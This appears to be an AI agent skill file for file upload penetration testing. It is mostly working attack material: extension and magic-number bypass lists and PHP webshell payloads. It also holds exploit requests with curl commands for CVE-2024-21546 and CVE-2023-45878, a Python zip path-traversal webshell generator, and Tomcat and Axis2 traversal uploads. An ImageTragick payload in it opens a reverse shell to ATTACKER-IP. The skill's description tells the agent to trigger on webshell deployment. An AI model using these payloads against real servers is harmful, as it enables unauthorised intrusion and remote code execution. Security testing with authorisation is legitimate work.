| name | file-upload-pentest |
| description | Test file upload vulnerabilities and bypass protections. Use this skill whenever the user needs to assess file upload security, test extension bypasses, create polyglot files, or exploit upload handlers. Trigger on requests about file upload testing, webshell deployment, extension bypass, magic number bypass, or any upload-related security assessment. |
File Upload Pentesting
A comprehensive skill for testing file upload vulnerabilities and bypassing server-side protections.
Quick Start
- Identify the upload endpoint and test with a basic malicious file
- Check extension restrictions and try bypass techniques
- Test content-type and magic number validation
- Try server-specific exploits (Jetty, uWSGI, Tomcat, etc.)
- Use bundled scripts for payload generation
Extension Bypass Techniques
Basic Extension Tricks
Test these variations systematically:
- Case variations:
.pHp, .pHP5, .PhAr, .PHTML
- Double extensions:
file.png.php, file.jpg.Php5
- Special characters:
file.php%20 (space)
file.php%0a (newline)
file.php%00 (null byte)
file.php%0d%0a (CRLF)
file.php/ (trailing slash)
file.php.. (double dot)
- Extension order tricks:
file.php.png (Apache misconfiguration)
file.png.jpg.php (multiple layers)
- Comment tricks:
file.php#.png, file.php%00.png
Server-Specific Extensions
PHP (test all variants):
.php, .php2, .php3, .php4, .php5, .php6, .php7
.pht, .phtm, .phtml, .pgif, .shtml, .htaccess
.phar, .inc, .hphp, .ctp, .module
ASP/ASPX:
.asp, .aspx, .config, .ashx, .asmx, .cshtml, .vbhtml
JSP:
.jsp, .jspx, .jsw, .jsv, .jspf, .do, .action
Other:
.cfm, .cfml (ColdFusion)
.swf (Flash)
.pl, .cgi (Perl)
.yaws (Erlang)
NTFS Alternate Data Streams (Windows)
file.asax:.jpg
file.asp::$data.
Creates an empty file with the forbidden extension that can be edited later.
Filename Length Truncation
Linux max filename: 255 bytes. Some tools (wget) truncate to 236.
python3 -c 'print("A" * 232 + ".php.gif")'
Upload this - the server may truncate to .php.
Content-Type and Magic Number Bypass
Content-Type Header Tricks
Set these values to bypass checks:
image/png
image/jpeg
text/plain
application/octet-stream
Magic Number Injection
Add valid image headers to malicious files:
PNG header:
\x89PNG\r\n\x1a\n
JPEG header:
\xff\xd8\xff
Use the create-polyglot.sh script to generate these automatically.
Surviving Image Processing
If the server resizes/compresses images, use these techniques:
- PLTE chunk - survives PHP-GD compression
- IDAT chunk - survives imagecopyresized/resampled
- tEXt chunk - survives thumbnailImage
See references/persistent-payloads.md for implementation details.
CVE-Specific Exploits
UniSharp Laravel Filemanager (CVE-2024-21546)
Affected: Versions before 2.9.1
Bypass: Trailing dot in filename
POST /profile/avatar
Content-Type: multipart/form-data
filename="shell.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
Access: /storage/files/shell.php?cmd=id
Gibbon LMS (CVE-2023-45878)
Endpoint: /modules/Rubrics/rubrics_visualise_saveAjax.php
Method: POST with base64-encoded payload
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4=&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
Jetty XML RCE
Upload XML to $JETTY_BASE/webapps/ - automatically processed.
uWSGI Configuration RCE
If you can write to .ini files:
[uwsgi]
body = @(exec://whoami)
Payload executes during config parsing (requires restart or auto-reload).
ZIP/Tar Exploitation
Path Traversal in Archives
import zipfile
from io import BytesIO
def create_malicious_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../var/www/html/shell.php', '<?php system($_REQUEST["cmd"]); ?>')
z.close()
with open('poc.zip', 'wb') as out:
out.write(f.getvalue())
Symlink in Archive
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
NUL-Byte Smuggling (PHP ZipArchive)
- Create
shell.php..pdf (valid PDF with embedded PHP)
- Zip it
- Hex-edit filename to
shell.php\x00.pdf
- ZipArchive sees
.pdf, filesystem writes .php
Use create-null-zip.sh script for automation.
Stacked ZIPs
cat benign.zip evil.zip > combined.zip
Different parsers may read different archives.
Server-Specific Exploits
Tomcat GZIP Upload
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp
Content-Type: application/octet-stream
Content-Encoding: gzip
<gzip-compressed-jsp-payload>
Axis2 SOAP Upload
<soapenv:Envelope>
<soapenv:Body>
<uploadFile>
<archiveName>shell.jsp</archiveName>
<jobDirectory>/../../../../opt/tomcat/webapps/</jobDirectory>
<dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgPz4=</dataHandler>
</uploadFile>
</soapenv:Body>
</soapenv:Envelope>
Windows NTFS Junctions
rmdir C:\Windows\Tasks\Uploads\<id>
mklink /J C:\Windows\Tasks\Uploads\<id> C:\xampp\htdocs
Redirects uploads to webroot.
ImageTragick Exploit
Upload this content with image extension:
push graphic-context
viewbox 0 0 640 480
fill 'url("https://attacker.com/test.jpg"|bash -i >& /dev/tcp/ATTACKER-IP/PORT 0>&1)'
pop graphic-context
Content-Type Confusion
Some handlers trust parsed JSON over actual multipart:
{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}
Testing Checklist
Bundled Scripts
scripts/create-polyglot.sh - Generate polyglot files with magic headers
scripts/create-null-zip.sh - Create NUL-byte smuggled ZIPs
scripts/generate-payloads.sh - Generate common webshell payloads
scripts/test-extensions.sh - Test extension bypasses systematically
References